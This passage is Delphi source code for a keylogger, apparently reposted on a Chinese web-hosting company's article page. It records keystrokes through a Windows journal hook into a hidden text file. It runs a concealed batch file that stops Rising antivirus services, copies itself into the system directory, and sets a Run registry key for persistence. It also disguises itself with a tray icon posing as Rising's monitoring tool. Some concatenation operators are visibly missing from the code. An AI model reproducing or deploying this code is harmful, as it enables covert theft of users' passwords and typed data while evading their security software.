14186: result := ''''[Num *]'''';
19053: result := ''''[Num -]'''';
20075: result := ''''[Num ]'''';
21037: result := ''''[Insert]'''';
21294: result := ''''[Delete]'''';
18212: result := ''''[Home]'''';
20259: result := ''''[End]'''';
18721: result := ''''[PageUp]'''';
20770: result := ''''[PageDown]'''';
18470: result := ''''[UP]'''';
20520: result := ''''[DOWN]'''';
19237: result := ''''[LEFT]'''';
19751: result := ''''[RIGHT]'''';
7181: result := ''''[Enter]'''';
end;
end;
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
var
creeper:TextFile;
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then
hookkey := hookkey Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH);
if length(hookkey) > 0 then
begin
IF enumwindows(@fqqid,0) then
begin
AssignFile(Creeper, getwindir ''''key.txt'''');
if FileExists(getwindir ''''key.txt'''') then
begin
Rewrite(creeper);
Writeln(creeper, hookkey);
closefile(Creeper);
end;
end;
end ;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
myname:string;
batchfilename:string;
bfile:TextFile;
sysdir:string;
noti:PNotifyIconData;
begin
Application.ShowMainForm:=False;
sysdir:=getwindir;
BatchFileName :=sysdir ''''killrav.bat'''';
AssignFile(BFile, BatchFileName);
Rewrite(BFile);
Writeln(BFile, ''''@net stop RsCCenter'''');
Writeln(BFile, ''''@net stop rsravmon'''');
Writeln(BFile, ''''@close '''');
CloseFile(BFile);
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> sysdir myname then //
begin
copyfile(pchar(application.Exename), pchar(sysdir myname), False);
end;
with TRegistry.Create do
begin
RootKey := HKEY_LOCAL_MACHINE;
OpenKey(''''\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'''', TRUE );
WriteString( ''''system,rundll'''', sysdir ''''RavMom.exe'''' );
free;
end;
assignfile(creeper,sysdir ''''key.txt'''');
if not FileExists(sysdir ''''key.txt'''') then
begin
rewrite(creeper);
closefile(creeper);
end;
assignfile(creeper1,sysdir ''''name.txt'''');
if not FileExists(sysdir ''''name.txt'''') then
begin
rewrite(creeper1);
closefile(creeper1);
end;
WinExec(pchar(sysdir ''''killrav.bat''''),sw_hide);
hHook := 0;
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
noti:=new(PNotifyIconData);
noti.cbSize:=80;
noti.Wnd:=form1.handle;
noti.uID:=0;
noti.szTip:=''''瑞星计算机监控'''';
noti.hIcon:=form1.icon.handle;//瑞星图标
noti.uFlags:=NIF_MESSAGE or NIF_ICON or NIF_TIP;
Shell_NotifyIcon(NIM_ADD,noti);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
enumwindows(@fpopoid,0);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
DeleteFile(getwindir ''''key.txt'''');
DeleteFile(getwindir ''''name.txt'''');
DeleteFile(getwindir ''''killrav.bat'''');
end;
end.
文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!
